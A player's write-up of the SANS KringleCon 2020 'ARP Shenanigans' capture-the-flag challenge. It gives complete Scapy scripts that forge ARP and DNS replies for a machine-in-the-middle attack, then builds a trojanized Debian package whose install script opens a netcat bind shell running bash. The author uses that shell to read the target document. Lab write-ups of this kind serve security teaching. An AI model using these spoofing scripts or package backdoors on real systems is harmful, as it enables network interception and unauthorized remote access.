KringleCon3 2020 Objective Nine Writeup: ARP Shenanigans
KringleCon3 Overview
KringleCon is the annual Holiday Hacking Challenge put on by the SANS Institute. Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the KringleCon YouTube Channel provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.
When KringleCon is over, players publish writeups. Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.
Objective Overview
Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?
Jack Frost has hijacked the host at 10.6.6.35 with some custom malware. Help the North Pole by getting command line access back to this host.
Read the HELP.md file for information to help you in this endeavor.
Elf Hints
- Maybe we should try a machine-in-the-middle attack?
- That could give us access to manipulate DNS responses.
- But we’ll still need to cook up something to change the HTTP response.
Objective Detailed Writeup
Initial Findings
After logging into the system we are presented with files focusing on packet captures, Debian packages, and Scapy Python scripts:
guest@bfd2cf84e187:~$ ls -al
total 40
drwxr-xr-x 1 guest guest 4096 Dec 26 18:34 .
drwxr-xr-x 1 root root 4096 Nov 30 18:57 ..
-rw-r--r-- 1 guest guest 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 guest guest 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 guest guest 807 Feb 25 2020 .profile
-rw-r--r-- 1 guest guest 830 Dec 5 00:00 HELP.md
drwxr-xr-x 1 guest guest 4096 Dec 7 21:11 debs
lrwxrwxrwx 1 guest guest 9 Dec 7 21:11 motd -> /etc/motd
drwxr-xr-x 1 guest guest 4096 Dec 1 15:27 pcaps
drwxr-xr-x 1 guest guest 4096 Dec 7 21:11 scripts
guest@bfd2cf84e187:~$ cd pcaps/
guest@bfd2cf84e187:~/pcaps$ ls -al
total 16
drwxr-xr-x 1 guest guest 4096 Dec 1 15:27 .
drwxr-xr-x 1 guest guest 4096 Dec 26 18:34 ..
-rw-r--r-- 1 guest guest 176 Nov 30 18:23 arp.pcap
-rwxr-xr-x 1 guest guest 220 Nov 30 18:23 dns.pcap
guest@bfd2cf84e187:~/pcaps$ cd ../scripts/
guest@bfd2cf84e187:~/scripts$ ls -al
total 16
drwxr-xr-x 1 guest guest 4096 Dec 7 21:11 .
drwxr-xr-x 1 guest guest 4096 Dec 26 18:34 ..
-rwxr-xr-x 1 guest guest 1290 Dec 4 21:34 arp_resp.py
-rwxr-xr-x 1 guest guest 1526 Dec 7 21:10 dns_resp.py
guest@bfd2cf84e187:~/scripts$ cd ../debs/
guest@bfd2cf84e187:~/debs$ ls -al
total 2556
drwxr-xr-x 1 guest guest 4096 Dec 7 21:11 .
drwxr-xr-x 1 guest guest 4096 Dec 26 18:34 ..
-rw-r--r-- 1 guest guest 94748 Dec 5 00:00 gedit-common_3.36.1-1_all.deb
-rw-r--r-- 1 guest guest 14484 Dec 5 00:00 golang-github-huandu-xstrings-dev_1.2.1-1_all.deb
-rw-r--r-- 1 guest guest 269332 Dec 5 00:00 nano_4.8-1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest 61504 Dec 5 00:00 netcat-traditional_1.10-41.1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest 1662268 Dec 5 00:00 nmap_7.80+dfsg1-2build1_amd64.deb
-rw-r--r-- 1 guest guest 322680 Dec 5 00:00 socat_1.7.3.3-2_amd64.deb
-rw-r--r-- 1 guest guest 168956 Dec 5 00:00 unzip_6.0-25ubuntu1_amd64.deb
Assumptions After Initial Observations
- Scapy will be needed based on the practice to CLI challenge
- There are 2 Scapy programs dealing with
arp
anddns
- An Elf hint says we need to MitM;
arp
poisoning will probably be necessary - The scripts indicate we will need to use Python Scapy to craft
arp
anddns
scripts - The host
10.6.6.35
should be examined, try a packet capture withtshark
ortcpdump
Solving
The Elf hint talks about an MitM attack. The MOTD mentions the IP address 10.6.6.35
is a host of interest. Start off by using tshark
to see what type of traffic the host is generating. The ARP Who has
packets with no response validates my initial assumptions about using an arp
poisoning attack:
guest@bfd2cf84e187:~$ tshark -nni eth0 'host 10.6.6.35'
Capturing on 'eth0'
1 0.000000000 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
2 1.052009330 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
3 2.092347219 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
4 3.143949348 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
I have a high level of confidence based on the hints, Scapy CLI practice, and arp_resp.py
file in the scripts directory that Scapy is the expected method to respond to the ARP Who has
packets.
I manually modified the ./scripts/arp_resp.py
script to construct the proper ARP reply.
Modified fields:
- Compromised machine: 10.6.6.35
- Local MAC address: 02:42:0a:06:00:04
- Remote MAC address: 4c:24:57:ab:ed:84
- ARP response code:
is-at
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
def handle_arp_packets(packet):
# if arp request, then we need to fill this out to send back our mac as the response
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src="02:42:0a:06:00:04")
arp_response = ARP(pdst="10.6.6.35")
arp_response.op = 'is-at'
#arp_response.plen = 99999
#arp_response.hwlen = 99999
#arp_response.ptype = 99999
#arp_response.hwtype = 99999
arp_response.hwsrc = "02:42:0a:06:00:04"
arp_response.psrc = "10.6.6.53"
arp_response.hwdst = "4c:24:57:ab:ed:84"
#arp_response.pdst = "SOMEVALUEHERE"
response = ether_resp/arp_response
sendp(response, iface="eth0")
def main():
# We only want arp requests
berkeley_packet_filter = "(arp[6:2] = 1)"
# sniffing for one packet that will be sent to a function, while storing none
sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
main()
Right after the custom ARP reply is sent by the Scapy script, a DNS query shows up in the packet capture:
guest@32bc79941e39:~$ tshark -nni eth0 'host 10.6.6.35'
Capturing on 'eth0'
8 7.272209320 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
9 8.312108161 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
10 8.336211565 02:42:0a:06:00:04 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:04
11 8.352346580 10.6.6.35 → 10.6.6.53 DNS 74 Standard query 0x0000 A ftp.osuosl.org
Next, I modified the dns_resp.py
script to construct a DNS reply which spoofs the response of the local machines IP address.
Modified fields:
- Compromised source machine: 10.6.6.35
- Spoofed DNS source address: 10.6.6.53
- Local IP address, used as the DNS query response
A
record: 10.6.0.4 - Local MAC address: 02:42:0a:06:00:04
- Remote MAC address: 4c:24:57:ab:ed:84
The key component of this modified DNS response is the construction of the DNS reply:
ns = DNS(
id=packet[DNS].id, # Pull the ID from the SRC packet (it is random for each query)
qd=packet[DNS].qd,
aa=1,
rd=0,
qr=1,
qdcount=1,
ancount=1,
nscount=0,
arcount=0,
ar=DNSRR(rrname=packet[DNS].qd.qname,
type='A', ttl=259200,
rdata='10.6.0.4')) # Set the response to the local IP address
It took a bit of trial and error to build a proper DNS packet. tshark
’s DNS protocol analyzer will help determine if the DNS packet is Malformed
. Here is an example of a broken DNS response:
44 41.636968759 10.6.6.53 → 10.6.6.35 DNS 104 Standard query response 0x0000 A ftp.osuosl.org A 10.6.0.2[Malformed Packet]
The final script with a valid DNS response:
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.
# We also need
eth = Ether(src="02:42:0a:06:00:04", dst="4c:24:57:ab:ed:84") # need to replace mac addresses
ip = IP(dst="10.6.6.35", src="10.6.6.53") # need to replace IP addresses
udp = UDP(dport=packet[UDP].sport, sport=53) # need to replace ports
dns = DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0, ar=DNSRR(rrname=packet[DNS].qd.qname, type='A', ttl=259200, rdata='10.6.0.4'))
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")
def main():
berkeley_packet_filter = " and ".join( [
"udp dst port 53", # dns
"udp[10] & 0x80 = 0", # dns request
"dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip)
"ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac
] )
# sniff the eth0 int without storing packets in memory and stopping after one dns request
sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
main()
After both the ARP and DNS response scripts are successfully executed, a tshark
packet capture shows the remote host attempting a connection to port 80:
90 74.283397795 10.6.6.35 → 10.6.0.4 TCP 74 41228 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=762519799 TSecr=0 WS=128
The HELP.MD
file mentions a python command for starting a HTTP server on port 80.
Execute the following command:
python3 -m http.server 80
The full tmux
display looks like this. To run all 3 scripts at the same time, I started the arp_resp.py
in the upper left, dns_resp.py
in upper right, and finally the http.server
in the bottom:
The logs from the http
server show the remote system attempting to download a file:
guest@c5e709de3244:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [26/Dec/2020 21:30:16] code 404, message File not found
10.6.6.35 - - [26/Dec/2020 21:30:16] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -
If they are downloading a .deb
file, we can use a postinstall
script to run code on the remote system. The following debs
are included on the local system:
guest@ff953b080be3:~$ ls -al debs/
total 2556
drwxr-xr-x 1 guest guest 4096 Dec 7 21:11 .
drwxr-xr-x 1 guest guest 4096 Jan 2 22:45 ..
-rw-r--r-- 1 guest guest 94748 Dec 5 00:00 gedit-common_3.36.1-1_all.deb
-rw-r--r-- 1 guest guest 14484 Dec 5 00:00 golang-github-huandu-xstrings-dev_1.2.1-1_all.deb
-rw-r--r-- 1 guest guest 269332 Dec 5 00:00 nano_4.8-1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest 61504 Dec 5 00:00 netcat-traditional_1.10-41.1ubuntu1_amd64.deb
-rw-r--r-- 1 guest guest 1662268 Dec 5 00:00 nmap_7.80+dfsg1-2build1_amd64.deb
-rw-r--r-- 1 guest guest 322680 Dec 5 00:00 socat_1.7.3.3-2_amd64.deb
-rw-r--r-- 1 guest guest 168956 Dec 5 00:00 unzip_6.0-25ubuntu1_amd64.deb
By choosing the netcat
package as a starting point, we can create a server to listen on the remote system. Extract the netcat
deb:
guest@ff953b080be3:~$ dpkg-deb -xv debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb ./netcat
./
./bin/
./bin/nc.traditional
./usr/
./usr/share/
./usr/share/doc/
./usr/share/doc/netcat-traditional/
./usr/share/doc/netcat-traditional/README.Debian
./usr/share/doc/netcat-traditional/README.gz
./usr/share/doc/netcat-traditional/changelog.Debian.gz
./usr/share/doc/netcat-traditional/copyright
./usr/share/doc/netcat-traditional/examples/
./usr/share/doc/netcat-traditional/examples/contrib/
./usr/share/doc/netcat-traditional/examples/contrib/ncmeter
./usr/share/doc/netcat-traditional/examples/data/
./usr/share/doc/netcat-traditional/examples/data/Makefile
./usr/share/doc/netcat-traditional/examples/data/README
./usr/share/doc/netcat-traditional/examples/data/data.c
./usr/share/doc/netcat-traditional/examples/data/dns-any.d
./usr/share/doc/netcat-traditional/examples/data/nfs-0.d
./usr/share/doc/netcat-traditional/examples/data/pm.d
./usr/share/doc/netcat-traditional/examples/data/pmap-dump.d
./usr/share/doc/netcat-traditional/examples/data/pmap-mnt.d
./usr/share/doc/netcat-traditional/examples/data/rip.d
./usr/share/doc/netcat-traditional/examples/data/rservice.c
./usr/share/doc/netcat-traditional/examples/data/showmount.d
./usr/share/doc/netcat-traditional/examples/data/xor.c
./usr/share/doc/netcat-traditional/examples/scripts/
./usr/share/doc/netcat-traditional/examples/scripts/README
./usr/share/doc/netcat-traditional/examples/scripts/alta
./usr/share/doc/netcat-traditional/examples/scripts/bsh
./usr/share/doc/netcat-traditional/examples/scripts/dist.sh
./usr/share/doc/netcat-traditional/examples/scripts/irc
./usr/share/doc/netcat-traditional/examples/scripts/iscan
./usr/share/doc/netcat-traditional/examples/scripts/ncp
./usr/share/doc/netcat-traditional/examples/scripts/probe
./usr/share/doc/netcat-traditional/examples/scripts/web
./usr/share/doc/netcat-traditional/examples/scripts/webproxy
./usr/share/doc/netcat-traditional/examples/scripts/webrelay
./usr/share/doc/netcat-traditional/examples/scripts/websearch
./usr/share/man/
./usr/share/man/man1/
./usr/share/man/man1/nc.traditional.1.gz
Create a postinstall
script that executes a process to listen on TCP port 4444. Once a connection is made to port 4444
, a bash
shell is started:
guest@ff953b080be3:~$ cd netcat/
guest@ff953b080be3:~/netcat$ mkdir DEBIAN
guest@ff953b080be3:~/netcat$ echo "/bin/nc.traditional -lv -p 4444 -e /bin/bash" > DEBIAN/postinstall
guest@ff953b080be3:~/netcat$ cat <<EOF> DEBIAN/control
> Package: yourhacked
> Version: 0.666
> Section: Games and Amusement
> Priority: optional
> Architecture: i386
> Maintainer: mr. robot
> Description: remotly hack your systems
> EOF
(re)Build the Debian package with the modified postinstall
script:
guest@ff953b080be3:~$ dpkg-deb --build netcat/
dpkg-deb: building package 'yourhacked' in 'netcat.deb'.
Move the file to the proper directory:
mkdir -p pub/jfrost/backdoor
mv netcat.deb pub/jfrost/backdoor/suriv_amd64.deb
Start the web server to serve the malicious Debian package:
python3 -m http.server 80
Restart the arp
and dns
response scripts, once executed the remote server downloads the file:
10.6.6.35 - - [02/Jan/2021 23:10:47] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 200 -
After the package is download, connect to the remote host with nc
:
guest@ff953b080be3:~$ nc 10.6.6.35 4444
ls -al
total 60
drwxr-xr-x 1 root root 4096 Dec 15 20:00 .
drwxr-xr-x 1 root root 4096 Dec 15 20:00 ..
-rwxr-xr-x 1 root root 0 Dec 15 20:00 .dockerenv
-rw-r--r-- 1 root root 3618 Dec 4 21:34 NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
lrwxrwxrwx 1 root root 7 Nov 6 01:21 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 15 2020 boot
drwxr-xr-x 5 root root 360 Dec 15 20:00 dev
drwxr-xr-x 1 root root 4096 Dec 15 20:00 etc
drwxr-xr-x 1 root root 4096 Nov 30 18:33 home
lrwxrwxrwx 1 root root 7 Nov 6 01:21 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Nov 6 01:21 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Nov 6 01:21 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Nov 6 01:21 libx32 -> usr/libx32
cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
NORTH POLE
LAND USE BOARD
MEETING MINUTES
January 20, 2020
Meeting Location: All gathered in North Pole Municipal Building, 1 Santa Claus Ln, North Pole
Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time.
Roll call of Board members please:
Chairman Jack Frost - Present
Vice Chairman Mother Nature - Present
Superman - Present
Clarice - Present
Yukon Cornelius - HERE!
Ginger Breaddie - Present
King Moonracer - Present
Mrs. Donner - Present
Tanta Kringle - Present
Charlie In-the-Box - Here
Krampus - Growl
Dolly - Present
Snow Miser - Heya!
Alabaster Snowball - Hello
Queen of the Winter Spirits - Present
ALSO PRESENT:
Kris Kringle
Pepper Minstix
Heat Miser
Father Time
Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made -- displayed on the bulletin board next to the Pole
, listed on the North Pole community website, and published in the North Pole Times newspaper -- for people who are interested in this meeting.
Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman. Minutes approved.
OLD BUSINESS: No Old Business.
RESOLUTIONS:
The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the siz
e of the current castle. Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of
the North Pole.” Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.” Chairman Frost then noted, “But the additional traffic will be a burd
en on local residents.” Dolly explained traffic projections were all in alignment with existing roadways. Chairman Frost then exclaimed, “But with all the attention focused on Santa
and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’” Mr. In-the-Box pointed out that new tourist-friendly taglines are always under
consideration by the North Pole Chamber of Commerce, and are not a matter for this Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recused her
self from the vote given her adoption of Kris Kringle as a son early in his life.
Approved:
Mother Nature
Superman
Clarice
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Krampus
Dolly
Snow Miser
Alabaster Snowball
Queen of the Winter Spirits
Opposed:
Jack Frost
Resolution carries. Construction approved.
NEW BUSINESS:
Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc. Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Ti
me’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two or
ders of magnitude too high. Why, it might burn the whole North Pole down!” Mr. H. Miser replied with a laugh, “That’s the whole point!” The board voted unanimously to reject the ini
tial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system.
Motion to adjourn – So moved, Krampus. Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of th
e Kringle Castle expansion plan. Meeting adjourned.
Helpful Advice
It took a while to figure out how to gain remote access to the system. You need to think creatively and McGuyver a solution with the tools available.
Answer
Who recused herself from the vote described on the document?
Tanta Kringle